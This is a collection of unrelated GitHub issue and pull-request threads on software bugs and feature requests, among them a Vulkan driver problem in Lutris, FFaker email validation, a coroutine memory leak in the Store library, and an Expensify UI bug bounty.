lutris league of legends not works with d9vk

Software information
Lutris Vsyscall32 override w/d9vk version
System information

GPU: sapphire r9 270 2gb 256 bit
Driver: radeon
Wine version: wine-4.18 (Staging) main, in lutris Wine Lol 4.20

https://ibb.co/CWZpbSV

Vulkan is not installed [...] on your system

That's the problem. Please make sure you have both 64 bit 32 bit Vulkan drivers installed.
https://github.com/doitsujin/dxvk/wiki/Common-issues#vulkan-errors

ı have dxvk drivers https://ibb.co/XkFCFym

First of all: both the driver (Mesa) and DXVK shown in that screenshot are super outdated and will cause lots of issues.
Second: this doesn't prove that you have a 32 bit Vulkan driver installed or that your driver is working correctly.


FFaker::Internet email, safe_email and free_email generating invalid email addresses

In FFaker::Internet methods email, safe_email and free_email are generating email addresses with underscores which are not valid.

Hi! Seems like some email services allow users to use underscores in their emails.
There is a good answer with links to mail protocol docs.
I'd use gsub on FFaker's safe_email to remove underscore if your app does not allow using underscores, so I could still use FFaker's data.
But anyway, as @marocchino decide.

Well, I think erasing underscores in email generation rules is too dependent on certain services.
As suggested by @Volosh1n, gsub or tr will be fine here.(I recommend tr when replacing a single character, because it has better performance)
FFaker::Internet.email.tr('_', '.')

If you think this statement is too hard to read, we can add some config option like:
FFaker::Config do
  config.free_email_format = "%<frist_name>s.%<last_name>s%<host>s" # default will be "%<frist_name>s%<delimiter>s%<last_name>s%<host>s"
end

Although we need a lot of fixes.

We have just upgraded ffaker 2.11.0 to 2.12.0 and specs fail with Validation failed: Email is not a valid email.
FFaker::Internet.email.tr('_', '.') did not help.

We have just upgraded ffaker 2.11.0 to 2.12.0 and specs fail with Validation failed: Email is not a valid email.
FFaker::Internet.email.tr('_', '.') did not help.

Could you provide your email validation format? I think we could help make valid format for FFaker's random emails for you. It is not about bad data generation, it is about specific case, so it fixable situation.

Good point, we use:
class EmailValidator < ActiveModel::EachValidator
  def validate_each(record, attribute, value)
    record.errors[attribute] << (options[:message] || "is not a valid email") unless /\A[a-z0-9][a-z0-9_\.\-\+]*@([a-z0-9\-]+\.)+[a-z]{2,}\z/i.match?(value.to_s)
  end
end

I've created model with your email validation and checked it with email from FFaker::Internet.email. Generated email was with underscore and model was valid.

Also, checked with Rubular. Results.
Sad, I have no idea what went wrong :disappointed:
The other way to understand problems in those cases is checking generated values to be sure that it actually invalid email.

Well, since there are no new releases, it's not easy to diff the releases...

I suspect that this line is caused by not being able to delete the underbar. However, I did not find any problematic strings in the source name.
https://github.com/ffaker/ffaker/blob/4a597e99ff4bdc8015863f0892deb3bc5eae2958/lib/ffaker/internet.rb#L51
So now it seems like the easiest way to determine what string was the problem. You can exam failure emaill like this.
class EmailValidator < ActiveModel::EachValidator
  def validate_each(record, attribute, value)
    return if /\A[a-z0-9][a-z0-9_\.\-\+]*@([a-z0-9\-]+\.)+[a-z]{2,}\z/i.match?(value.to_s)
    log.info { value } if Rails.env.test?
    record.errors[attribute] << (options[:message] || "is not a valid email")
  end
end

So, here we go:
Validation failed: Email<EMAIL_ADDRESS>is not a valid email
Validation failed: Email<EMAIL_ADDRESS>is not a valid email
Validation failed: Email<EMAIL_ADDRESS>is not a valid email
Validation failed: Email<EMAIL_ADDRESS>is not a valid email
Validation failed: Email<EMAIL_ADDRESS>is not a valid email
Validation failed: Email<EMAIL_ADDRESS>is not a valid email

Oh, it was '. Thanks.

This helped:
FFaker::Internet.email.tr("'", ".")

But it is my fault, ' is allowed by RFC. See https://stackoverflow.com/questions/2049502/what-characters-are-allowed-in-an-email-address

But it is my fault, ' is allowed by RFC. See stackoverflow.com/questions/2049502/what-characters-are-allowed-in-an-email-address

You are right. But, I also fixed Internet.user_name, since almost services do not allow ' in user name.
In term of user_name, an un-sanitized full name is just mistaken.


Update index for aks-preview 0.4.8

This checklist is used to make sure that common guidelines for a pull request are followed.

For new extensions:

[x] My extension description/summary conforms to the Extension Summary Guidelines.

Update index for  aks-preview 0.4.8
/assign @zikalino

If this PR is for a new extension or change to an existing extension, use the following to try out the changes in this PR:
docker run -it microsoft/azure-cli:latest
export EXT=<NAME>
pip install --upgrade --target ~/.azure/cliextensions/$EXT "git+https://github.com/feiskyer/azure-cli-extensions.git@aks-preview-pub#subdirectory=src/$EXT&egg=$EXT"

@zikalino thanks


Mic stops working after a while

After a while people's mics stop working. They can still hear other people but can not be heard.
To fix they need to go into Options>Voice Settings and turn it OFF and back ON.
Has anyone come up with a fix OR workaround for this?
Any help would be appreciated.
Thanks in advance.

i have the same issue and i cant find how to solve it

Me too, seems Frazzle doesnt work anymore... :((


1.1.0 Update zxcvbn.js to 4.4.2

Hello!  We used your package for using zxcvbn in our password management, but found that the results didn't match the zxcvbn.js client-side library and I noticed that the package was using an older version of zxcvbn than the latest.
In our own project we've copied the ZxcvbnEstimator and pointed it at a newer version of the js, however, for completeness I thought I should create a PR to update the package in case it's useful for anyone else!
I've done the following:

Update zxcvbn to 4.2.0 > 4.4.2
Update tests for new version of zxcvbn (4.4.2 gives some slightly different results, so a lot of tests started to fail).
Updated the year & version in AssemblyInfo + updated readme
Updated license to 2020

I didn't upgrade any packages however, I might be able to find some time to do the following if you think it'd be useful:

Upgrade Jint to the latest 3.x beta - this seems to be much quicker.

Alternatively I could upgrade to the latest 2.x if you like?

I could target .NET Standard, although your package seems to work in my .NET Core API project (from a .NET standard project) so I'm not sure it's worth doing!

Hi @tristanjthompson
Many thanks for your contribution, I really appreciate it. I've merged your changes and will aim to update the Nuget packages in the next few days depending on how much time I'll have.
If you could find the time to implement your suggestions, I'd be happy to incorporate those too. Regarding Jint 3.x beta vs 2.x -- I'm happy to go with 3.x as long as it is tied to one specific version (instead of greater than or equal), so if they introduce breaking changes in the next beta (which they say they might, hence the beta tag), it won't break this package.
Thanks,
Adam

You're welcome @adam-szabo and thanks for the quick reply - I'll see if I can find some time to get those things done sooner rather than later!


[BUG] Non-global scope leaks caller

Describe the bug
Disclaimer: I'm no expert in coroutine scoping, so there's a great chance this is user error.
When I build a Store and declare a Scope that is not GlobalScope, I found that calling fetch on Store will leak my caller.
To Reproduce
Here's a minimal activity that reproduces the issue.  On config change (screen rotation), MainActivity is retained--- forever as far as I can tell. If I omit the scope argument on the Store builder or set the scope to global, I get the behavior I expect, which is that the fetch is cancelled and no scope is retained.
I tried following the ref chain down- it seems the scope assigned to FetcherController (which is the scope I passed into the builder) is ultimately retaining my Activity.
class MainActivity : AppCompatActivity() {
    var time: Long = 0
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        time = System.currentTimeMillis()

        lifecycleScope.launch {
            store.fresh(time)
        }
    }
}

object Repository {
    val store = StoreBuilder.from(
        fetcher = nonFlowFetcher<Long, Long> {
            delay(5000)
            FetcherResult.Data(it)        }
    ).scope(CoroutineScope(Dispatchers.Main)).build()
}

Expected behavior
My expectation is that when I cancel the scope around my Store call (store.fresh()), I'd see a cancellation of any child jobs or Flows that Store has spawned for me, and I would not be retained by Store's scope.
** Additional context**
Here's a heap dump!
heap_dump_several_main_activities.txt

I think I found the leak, or at least one of the areas that's leaking.
Here's a screenshot of a heapdump analysis:

The onEach in ChannelManager looked suspicious to me, and digging through the source I found that onEach is passed a lambda from the RefCountedResource.create lambda passed by FetcherController's initializer:
https://github.com/dropbox/Store/blob/b86050496cc10b78a26ef2549551404f820eb407/store/src/main/java/com/dropbox/android/external/store4/impl/FetcherController.kt#L64-L92
The create function call hierarchy that invokes it is:

Store.fresh calls RealStore.stream which returns a flow, and then it uses the current coroutine context (it's a suspend function) to call first(), which collects the flow in the current context.
RealStore.stream creates a Flow which, when collected, calls createNetworkFlow.
createNetworkFlow returns a flow by calling fetcherController.getFetcher().
fetcherController.getFetcher() creates a Flow which, when collected, calls fetchers.acquire(). fetchers is that RefCountedResource.
RefCountedResource.acquire() invokes the create parameter passed to its constructor in the current coroutine context:
https://github.com/dropbox/Store/blob/d733da166275e846921445c22eb3877d285ed068/store/src/main/java/com/dropbox/android/external/store4/impl/RefCountedResource.kt#L31-L37
The create parameter to RefCountedResource is a suspend function, and that's interesting since the lambda passed in by FetcherController doesn't make any suspend calls.
The create lambda creates a Multicaster and passes a lambda to its onEach parameter.
Multicaster's creates and stores a ChannelManager in a field, and passes the onEach argument to it.
ChannelManager calls onEach from doDispatchValue, which is called from an actor coroutine launched by the StoreRealActor class.

To summarize: When Store.fresh is called, it indirectly launches a coroutine in the StoreBuilder.scope CoroutineScope that captures a lambda to call on every emitted value. This lambda is created by the lambda that FetcherController passes to RefCountedResource's constructor as the create function. RefCountedResource.create eventually gets called in the coroutine context of the Store.fresh call.
https://github.com/dropbox/Store/blob/b86050496cc10b78a26ef2549551404f820eb407/store/src/main/java/com/dropbox/android/external/store4/impl/FetcherController.kt#L86-L90
Here's one potential problem: When the create lambda passes a lambda to onEach, the onEach lambda ends up capturing the coroutineContext from the create call. If you put a debug breakpoint in the onEach lambda (line 87) and inspect variables, you'll see that the onEach.this captures create.this (this$0) which has a _context field that references the coroutine context passed to Store.fresh. This context is created by lifecycleScope, which captures the Activity, and so it's leaked as long as the onEach lambda is referenced by something (in this case, the coroutine that is started in the StoreBuilder.scope). I think this problem can be fixed by simply making the create parameter non-suspending`, since it doesn't need to be suspending anyway.

It seems like this should be fine, since the coroutine started by the Multicaster should be cancelled, and the reference to the Multicaster released, when the fetchers.release call is made after emitting the first response. However, the heap dump shows that the StoreBuilder.scope jobs holds a reference to a child continuation which has a reference to the caller frame for debug purposes, and that frame has a reference to the onEach lambda. I'm not sure why this child continuation isn't being released, but that seems like a coroutine bug.
Sorry for the rambling explanation, I think there are a few bugs here. One is that the coroutineContext from the create lambda is being captured unnecessarily by the onEach lambda. This library can workaround that by making create non-suspending. The other bug is that a child continuation with a reference to that context is being held onto by the coroutines machinery after being cancelled.

Thanks for the A+ analysis @zach-klippenstein!
interestingly enough when running the above repro I don't get a memory leak (main activity is destroyed) and I don't see a reference to create saved in onEach which may indicate a difference between Kotlin std versions or something of the sort. what kotlin version are you running against?

The other alternative is that some of the changes made post alpha06 fixed this (though I doubt it).

Kotlin 1.3.72.
I did just reproduce by replacing the sample with my activity on the main branch of Store. Further, I verified that removing the suspend modifier fixes the leak.

Yup, also can reproduce in the sample app by adding this on line 60 in RoomFragment
lifecycleScope.launchWhenStarted {
            storeState.store.fresh("aww")

We are also seeing the activity get destroyed, but it's never garbage collected.

Kotlin 1.3.72.
I did just reproduce by replacing the sample with my activity on the main branch of Store. Further, I verified that removing the suspend modifier from the create lambda in RefCountedResource fixes the leak.

Wanna send a PR?

Thank you so much for finding/fixing

Actually a better solution would be to break the chain between onEach and create. I'll throw up an altenate pr

full solution:

call fetchers.acquire on the store's scope to avoid capturing stream's scope in the multicaster where it will be preserved (by design)
for added safety, prevent onEach from capturing a reference to create as it actually does not need it

actually, I'm just going to do (1). (2) isn't a problem if create has the right scope

Suspend functions aren't free though, it's generally better to not define a function as suspend unless it actually needs to make a suspend call at some point.

Suspend functions aren't free though, it's generally better to not define a function as suspend unless it actually needs to make a suspend call at some point.

True, but in this case RefCountedResource's API makes sense as a suspend API (even though in this specific case it's not). Even if I remove suspend from create to fix this it's very possible that someone will need to add it back in the future and thus will re-introduce this leak

it's very possible that someone will need to add it back in the future

This seems like a smell to me. If it needs to be suspend in the future, it could be made suspend. But without a specific use case, this seems like just making the code more complex for no reason, which is generally a practice that should be avoided (introduces maintenance burdens like this, and is similar to premature abstraction or premature optimization).
Anyway, this isn't my code, up to you! 😅 Thanks for taking a look at this and finding the more fundamental issue!

this seems like just making the code more complex for no reason
I don't think I agree, create could very naturally be a suspend function (given how generic RefCountedResource's API is). If we just remove it it's not unlikely to come back in the future when someone, unaware of this discussion changes it back because it needs it now to be suspend.


Making sure we're testing test_data/**/test

For example we seem not to be testing https://github.com/dart-lang/native/blob/main/pkgs/native_assets_builder/test_data/treeshaking_native_libs/test/treeshaking_native_libs_test.dart
As seen here: https://github.com/dart-lang/sdk/blob/main/pkg/dartdev/test/native_assets/test_test.dart
What if we have a test_runner.yaml file that needs to exist for every test_data that has a test/ directory. This is verifiable through CI. The logic in the sdk test could iterate through test_runner.yaml files and verify that everything works correctly.
@dcharkes @mosuem

Do we want to run those tests? I thought we didn't. I use them for manual testing during development only.


search term highlighting in search results (list)

Descriptive Summary
The list-based search results display (default Hyrax search results view) for NewspaperPage or NewspaperArticle object should include a snippet of OCR text with the highlighted search term, if a keyword search parameter is included.
The search snippet should be easily distinguishable from other metadata in the search result.
Multiple search matches (e.g. the term appears more than once in the object) should be indicated to the user. (It may not be possible to display all matches concisely, however.)
(Search snippets may not be appropriate for gallery-style results, we will address the gallery display highlighting in a separate issue.)
Rationale
By including a snippet of text, the user is able to quickly determine whether the search result is relevant to their information search.
Providing a text snippet is a common pattern in newspaper search systems. See below for examples.
Expected behavior
As a non-logged in user
When I am on the home page
And I do a keyword search
And my search result includes NewspaperPage or NewspaperArticle objects
In the search result display for those items
I should see a snippet of text from the item
And my search term should be highlighted within the text
And I should see a hit count for my search terms within the object
So that I can tell if that result is relevant to my search
Additional info
Search snippet in results examples:

UMD Student Newspapers
Welsh Newspapers Online
British Newspaper Archive

Implementation notes
See CommonwealthSearchBuilderBehavior#ocr_params in BPL's commonwealth-vlr-engine gem for an example of how highlighting can be done in Blacklight.
This ticket will be complete when:
Functionality described above is complete.

Related to #94

Fixed via #187.


Conflicting behavior using in-memory vs database driver.

Laravel Pennant Version: 1.2
Laravel Version: 10.0.0
PHP Version: 8.1.16
Database Driver & Version: Database.

Description:
First off excellent package I find it very useful. My application is getting conflicting results when creating features using the in-memory driver as opposed to the database driver.
Steps To Reproduce:
The following feature works using the in-memory driver but always returns true or false when using the database driver. The database driver requires a complete deletion of the database feature row to work correctly.
Feature::define('fast.invoice', fn (User $user) => match (true) {
    $user->isDeveloper() => true,
   default => false,
});

@tomshaw I believe that this is the expected behaviour.
Take the following test that fails on both the array and database driver:
$user = User::make(['id' => '123']);

Feature::define('fast.invoice', fn (User $user) => match (true) {
    $user->is_developer => true,
    default => false,
});

$user->is_developer = true;
$this->assertTrue(Feature::for($user)->active('fast.invoice'));

$user->is_developer = false;
$this->assertFalse(Feature::for($user)->active('fast.invoice'));

The last assertion will always fail.
When a value is resolved by the driver, it is "remembered".
For the database driver, that means it is saved in the database.
For the array driver, that means it is saved in an in-memory array.
On subsequent requests, the database driver will then retrieve the value from the database, not from feature definition.
The array driver, however, cannot do this as the value is cleared out of memory on each request.
If you feel I've missed something, please let me know.

I'm currently using roles/user-role pivot table. When I add the user.id role.id to the pivot table, the user object returns true/false accordingly. One solution is to empty the table when updating the user/role in the admin/update route? It's such a minimal footprint I'm currently relying on the in memory store. Thanks :)

Fudge. Just tested a fresh install and same differing driver results. The database driver persists the user state and shouldn't.


[Add] Freshersworld

Site URL
https://www.freshersworld.com/
Description of the above provided site
It is the best platform to get the job and preparation for job interview.
Category
Frontend
Sub Category
Cat - Placement_prep , Subcat - jobportals
Checklist

[X] I have checked the existing issues
[X] I have read the Contributing Guidelines
[X] I am willing to work on this issue (optional)

@parma1111 assigned to you


style attributes are not correctly set

Using style attributes will result in errors since the properties on el.style[propertyName] are set via index property setter which are not supported on the style property.
Example
const increase = (state) => {
  return { ...state, count: state.count + 1 }
}

const decrease = (state) => {
  return { ...state, count: state.count - 1 }
}

const counter = ({ count }) => html`

        Hyperapp counter

        <button aria-label="Minimize"></button>
        <button aria-label="Maximize"></button>
        <button aria-label="Close"></button>

Count: ${count}

        <button ${{ onclick: increase }}>+</button>
        <button ${{ onclick: decrease }}>-</button>

Thanks for reporting! I'm going to pass the buck to hyperapp on this though.  See hyperlit is really just an alternative to using h from hyperapp.   I'm not doing anything clever, but passing everything on to h (in the future I might start getting clever-er)
That means:

  ...

is equivalent to calling:
h('section', {
  class: 'field-row',
  style: 'justify-content: flex-end'
}, [....])

And hyperapp actually doesn't support using the style prop like that (because we are actually using the prop, not the attribute, desipite how it looks) is like this:
h({
h('section', {
  class: 'field-row',
  style: { justifyContent: 'flex-end' }
}, [....])})

In other words, your example should work like this:

...

Your assumption about the style prop is entirely reasonable. I've asked before to have style optionally work like the style attribute does, i e with a string. (I actually think it did at some point). If you feel strongly about it, I suggest opening an issue at https://github.com/jorgebucaran/hyperapp
Also, your unfamiliarity with how hyperapp handles various things differently is entirely forgivable since there aren't (yet) any good docs online. They are coming afaik. If you want to read up on hyperapp more, I'd suggest the tutorial which I think is quite good (I wrote it, after all ;) ).


[ISSUE #3513] [Part 2] init k8s integration test workflow (only alibaba-dubbo)

About #3513

Make sure that:

[x] You have read the contribution guidelines.
[x] You submit test cases (unit or integration tests) that back your changes.
[x] Your local test passed ./mvnw clean install -Dmaven.javadoc.skip=true.

In this PR line, I propose a new workflow to do integration test.
I test local and in my fork repository:

This PR may break down docker-compose integration test workflow because of my modification about "HttpHelper" in "shenyu-integration-test-common". (k8s NodePort restrict exported port at range from 30000 to 32767) But I hope to get permission to run "k8s-it" I propose, since I wonder if my PR work well. I'll update all docker-compose.yml after that.

My k8s-it seems work fine.
I'll update port-forwarding part in docker-compose.yml soon.

Codecov Report

Merging #3984 (0d295f4) into master (15d4831) will decrease coverage by 0.21%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master    #3984      +/-   ##
============================================
- Coverage     70.13%   69.91%   -0.22%
+ Complexity     6693     6661      -32
============================================
  Files           924      924
  Lines         25174    25186      +12
  Branches       2275     2276       +1
============================================
- Hits          17655    17609      -46
- Misses         6143     6200      +57
- Partials       1376     1377       +1

Impacted Files
Coverage Δ

.../client/server/consul/ShenyuConsulConfigWatch.java
60.41% <0.00%> (-25.00%)
:arrow_down:

...controller/ShenyuClientHttpRegistryController.java
77.77% <0.00%> (-22.23%)
:arrow_down:

...ava/org/apache/shenyu/admin/utils/SessionUtil.java
78.94% <0.00%> (-15.79%)
:arrow_down:

...ruptor/RegisterClientServerDisruptorPublisher.java
52.94% <0.00%> (-11.77%)
:arrow_down:

.../apache/shenyu/admin/model/dto/BatchCommonDTO.java
50.00% <0.00%> (-7.15%)
:arrow_down:

...apache/shenyu/admin/model/dto/AuthPathWarpDTO.java
57.14% <0.00%> (-7.15%)
:arrow_down:

...enyu/admin/service/impl/PermissionServiceImpl.java
34.61% <0.00%> (-6.42%)
:arrow_down:

...org/apache/shenyu/admin/model/dto/AuthPathDTO.java
58.82% <0.00%> (-5.89%)
:arrow_down:

...che/shenyu/admin/model/vo/DashboardUserEditVO.java
60.86% <0.00%> (-4.35%)
:arrow_down:

...che/shenyu/sync/data/http/HttpSyncDataService.java
85.71% <0.00%> (-4.09%)
:arrow_down:

... and 26 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

I misunderstand my issue. Close this PR.


Standardizing API Parameter Syntax

Action to the OGC NA
Establish rules for encoding parameters for use in URIs.
For example, how should you encode a bounding polygon?

What is the delimiter to be used between the coordinates?
What is the delimiter to be used between the two or three axis values within each coordinate?

WKT?

API Features cites RFC 3339 as the authority for the datetime parameter format.
I also like the WKT option.
And I'm sure there are other relevant standards we can leverage.

WKT does seem a better option, considering OGC has already identified a range of communities who use time representations based on calendars which are not the Gregorian calendar as recognised by the International Standards Organisation (ISO) in ISO8601

Is geometry description within scope of Coverages - Part 1?
As mentioned in #52 this may be the focus of the EDR API instead.

Related to https://github.com/opengeospatial/oapi_common/issues/34

2020-12-02 OGC-NA meeting today did not reach agreement on this issue being out of scope of the OGC-NA. As a result, the next step will be to establish rules for encoding parameters for use in URIs.

an additional spatial query option we've been pushing around in STA is filter by external geometry reference, saves you the mess of transferring a geometry via URL (or having to POST), just point to a URL that returns a geometry within the feature:
opengeospatial/sensorthings#110

@KathiSchleidt @ghobona One option that we considered in API-EDR, and can support, though not really thoroughly tested, is storing the query (which is a geometry) as a feature, for re-use.

indeed an option. In WCS we have not brought this on the agenda because

this opens a can of worms in access control (updating queries including transaction support for those who just use a query during update, granting/revoking access, ...)
the service of stored queries as such is domain and data independent, so should be a generic service which works the same over all specs. And OWS Common was far from getting to discuss that kind of problems...

Is this issue focused on geometry parameters? Adding the extension label based on that assumption.
Could we update the name of the issue to better reflect this?

SWG 2021-08-11: The geometry encoding is discussed in #52; general concerns about query parameters are addressed by Common - Part 1. Agreed to close.


Asset for windows wasn't released in v1.8.1

The asset for windows wasn't released in v1.8.1.
https://github.com/solidiquis/erdtree/releases/tag/v1.8.1

That is strange! I just added it. Thanks for pointing that out.


Move from dep to Go modules

https://github.com/jim-minter/rp/issues/4

Currently blocked because https://github.com/openshift/installer's nested vendor directories break go mod.

what would be the next step for this issue? The https://github.com/openshift/installer/pull/2745 PR has been merged. Since we are using installer fork: https://github.com/jim-minter/installer/tree/release-4.3-azure I'm assuming we should cherry-picking that commit into that fork?


eRNA Detection and RNA Seq integration

Label identifier (possibly correct epiRomics-class type?) for RNA Seq tracks for separate y-max correction.

Function for eRNA detection through RNA Seq detection in >0 tracks intersecting enhancer calls.

Y-max correction closed.
Proposed solution for eRNA detection: Incorporating bigwig tracks in epiRomics_dB build as GRange/IRange, and cross-referencing to database for signal at annotated non-coding regions of genome. Later, these can be checked for overlap with putative enhancer calls, or, can be used as a basis for calls as opposed to histone marks.


[HOLD react-native-web 2584][$500] mWeb - Selecting and copying large name in share code displays remaining name with odd 3 dot position

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Open the app
Open settings->profile->display name and set long first or last name (do not set both first and last name as long)
Open settings->share code
Double click on name and select the text of display name
Using end points, try to extend the name beyond 3 dots
Observe that now app displays the remaining name but still displays the 3 dots in previous position

Expected Result:
App should either not allow to extend name to select the full name on drag or should remove the 3 dots if name is extended and rest name is displayed
Actual Result:
App allows to extend name to display remaining name in share code and also keeps the 3 dots in same location on mWeb chrome
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android / native
[x] Android / Chrome
[ ] iOS / native
[ ] iOS / Safari
[ ] MacOS / Chrome / Safari
[ ] MacOS / Desktop

Version Number: <IP_ADDRESS>
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/be5f01d8-9298-4bc1-9040-dfd98086d3e0
https://github.com/Expensify/App/assets/93399543/102ef0b7-3def-4a9b-8a73-c4a1c7635ed3
Expensify/Expensify Issue URL:
Issue reported by: @dhanashree-sawant
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1694106668042179
View all open jobs on GitHub

Proposal
Problem
mWeb - Selecting and copying large name in share code displays remaining name with odd 3 dot position
Root cause
We are limiting the no. of line on Text for Display name. The behaviour of text component is to Scrolling while selecting on chrome and it truncates accordingly.
Changes
We can make the Display Name not selectable, by applying styles - userSelectNone or passing a prop userSelect="none" to text component as we already have a "copy to Clipboard link button" already

@ishpaul777 Thanks for the proposal. I don't think your RCA is complete. Why the 3 dots do not change position (or get removed) and instead they stay in the same position they initially appeared at.

I didn't check but initial thought is that the bug is not on Exp/App but in RNW or Chromium.

Unassigning myself as BZ since I was the second one assigned.  Let me know if you need help here @johncschuster

@tienifr Thanks! Can you please update the PR with tests to follow RNW contributing guide

🎀 👀 🎀 C+ reviewed
Link to proposal

Not overdue. Needs an engineer review here

Thanks for the update, @s77rt!

🎀 👀 🎀 C+ reviewed
Link to proposal

Sorry for the delay. The proposal looks good to me too.

@tienifr I don't see a reason to hold, the PR would target the upstream repo. Let's get the upstream PR merged then we can hold this

Not overdue, waiting for the PR

Working on it Melvin

@tienifr Thanks for the update. Let's wait for the upstream PR for now.

We are still waiting for RNW PR maintainers review

Still holding, moving to weekly

Still holding

Still holding

Still on hold

Same ^

Still on hold

Still hold on https://github.com/necolas/react-native-web/pull/2584

Same ^

I will be OOO starting Monday, December 18, and will return Tuesday, January 2.
Current status:
This is on hold for an upstream PR https://github.com/necolas/react-native-web/pull/2584
If this issue is open when I'm back from OOO, I'll take it back over. Thank you!

Still on hold

hold

Same ^

Still hold on https://github.com/necolas/react-native-web/pull/2584

Same ^

Same ^

Same^

Same^

Still holding

Same ^

Same ^

Same ^

Still on hold

Still on hold

Still hold for the upstream PR https://github.com/necolas/react-native-web/pull/2584. I did tag the maintainer and ask for review.

Still no movement on the PR

Still no action on the PR

Same as above. No action on the linked PR.

Same ^

@tienifr Let's go with the patch

The PR that introduced the bug has been identified: n/a (upstream bug)
The offending PR has been commented on: n/a
A discussion in #expensify-bugs has been started: Not needed
Determine if we should create a regression test for this bug: No

Hi @johncschuster, is this issue eligible for reporting bonus?

It looks like this issue was created September 11, 2023, and we removed the reporting bonus on October 24, 2023. I believe this issue should be eligible for the reporting bonus since it was reported before we removed the bonus.

@dhanashree-sawant I've extended an offer to you, here. Can you please accept that?

Thanks @johncschuster, I have accepted the offer.

Payment Summary:
Contributor: @tienifr requires payment of $500 through NewDot Manual Requests
Contributor+: @s77rt requires payment of $500 through NewDot Manual Requests

@johncschuster I was assigned this issue before moving to ND. This one should be paid through Upwork

Oh! Thanks for that callout! I'll get a job going in a minute and ping you.

Thanks for your patience, @s77rt! Can you please accept the offer, here?

Reopening until I've completed payment

@johncschuster Accepted! Thanks!

I've issued payment to @s77rt via Upwork. Thank you all for your contributions! 🎉


Does this need Bonus Chest turned on?

Does this need Bonus Chest turned on to generate the starting loot? I have made a few worlds and couldn't find any starting loot chests, but they might have been buried in the ground or something

It is not necessary to include the starting loot, since it is impossible to change it in this way with the help of a datapack. As for your problem, you may not have initialized the datapack if you used it, and not the version with the mod.

No it does.


Is the output of MDM used as input for DDI ?

According to the code, the output of MDM is time_embedding and it is used in moe. The input of DDI blocks is the original input x.
In the paper, MDM's output is used as input of DDI.
I am not sure whether the output of MDM is used only in moe, or it should be used as input of DDI too.
Maybe I made some mistakes, please help me.
The related code is: (in tsAMS.py)
layer norm
if self.norm:
x = self.rev_norm(x, 'norm')
[batch_size, seq_len, feature_num]
[batch_size, seq_len, feature_num]
x = torch.transpose(x, 1, 2)
[batch_size, feature_num, seq_len]
time_embedding = self.pastmixing(x)
for fc_block in self.fc_blocks:
x = fc_block(x)
MOE
x, moe_loss = self.moe(x, time_embedding)  # seq_len -> pred_len

Thanks for your attention to our work. After conducting experiments, we found that the prediction performance improves when the input of DDI blocks is changed to the output of MDM. We will update the code and results as soon as possible.


Add space between controls and map

@peterdesmet I'm unable to add some space between the controls and the map. I tried margin-bottom on the controls div but no luck...

Worked for me :smile_cat:


Add sha256 checksums for package downloads

We should add sha256 checksums for the meta and data packages wherever there are download links.
E.g.
root@ubuntu16:~# sha256sum influxdb-data_1.2.1-c1.2.2_amd64.deb
86fb3fde585d67f8039c743a52a4fee765e0b2300341bdea76768c4539232264  influxdb-data_1.2.1-c1.2.2_amd64.deb

Just curious, why? What's wrong with the current md5?

@phemmer This is a request from a customer for the closed source packages.


Integration Test - Release - 2021/11/01 10:44:41

Auto create for integration test. AnotherAuthorUpdatedArticleFlow

Docs Build status updates of commit 9594fec:
:warning: Validation status: warnings

File
Status
Preview URL
Details

csidevdocs-public/IntegrationTest/BuildIntegrationTestFiles/ChangeSentToAuthor.md
:warning:Warning

Details

csidevdocs-public/IntegrationTest/BuildIntegrationTestFiles/ChangeSentToAuthor.md

Line 4, Column 1: [Warning: ms-prod-and-service - See documentation] Only one of the following attributes can exist: 'ms.prod', 'ms.service'. Use ms.prod for on-premise products, or ms.service for cloud services.
Line 4, Column 8: [Warning: duplicate-titles - See documentation] Title 'VS Code Authoring Extension' is duplicated in: 'Demo/demo.md(4,8), Demo/v-caxian/AuthorNotification.md(4,8), Demo/v-caxian/auto-merge.md(4,8), Demo/v-caxian/auto-merger.md(4,8), IntegrationTest/BuildIntegrationTestFiles/ChangeSentToAuthor.md(4,8)'. Titles must be unique within a docset.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit 9594fec:
:warning: Validation status: warnings

File
Status
Preview URL
Details

csidevdocs-public/IntegrationTest/BuildIntegrationTestFiles/ChangeSentToAuthor.md
:warning:Warning

Details

csidevdocs-public/docfx.json
:warning:Warning

Details

csidevdocs-public/IntegrationTest/BuildIntegrationTestFiles/ChangeSentToAuthor.md

Line 4, Column 1: [Warning: ms-prod-and-service - See documentation] Only one of the following attributes can exist: 'ms.prod', 'ms.service'. Use ms.prod for on-premise products, or ms.service for cloud services.
Line 4, Column 8: [Warning: duplicate-titles - See documentation] Title 'VS Code Authoring Extension' is duplicated in: 'Demo/demo.md(4,8), Demo/v-caxian/AuthorNotification.md(4,8), Demo/v-caxian/auto-merge.md(4,8), Demo/v-caxian/auto-merger.md(4,8), IntegrationTest/BuildIntegrationTestFiles/ChangeSentToAuthor.md(4,8)'. Titles must be unique within a docset.

csidevdocs-public/docfx.json

Line 39, Column 28: [Warning: ms-prod-technology-invalid - See documentation] Invalid value for 'ms.technology': 'sql' is not valid with 'ms.prod' value 'azure'.
Line 40, Column 29: [Warning: ms-service-subservice-invalid - See documentation] Invalid value for 'ms.service': 'xamarin'.
Line 42, Column 22: [Warning: ms-prod-technology-invalid - See documentation] Invalid value for 'ms.prod': 'aad'.
Line 46, Column 40: [Warning: author-not-found - See documentation] Invalid value for author: 'bharney-msft' is not a valid GitHub ID.
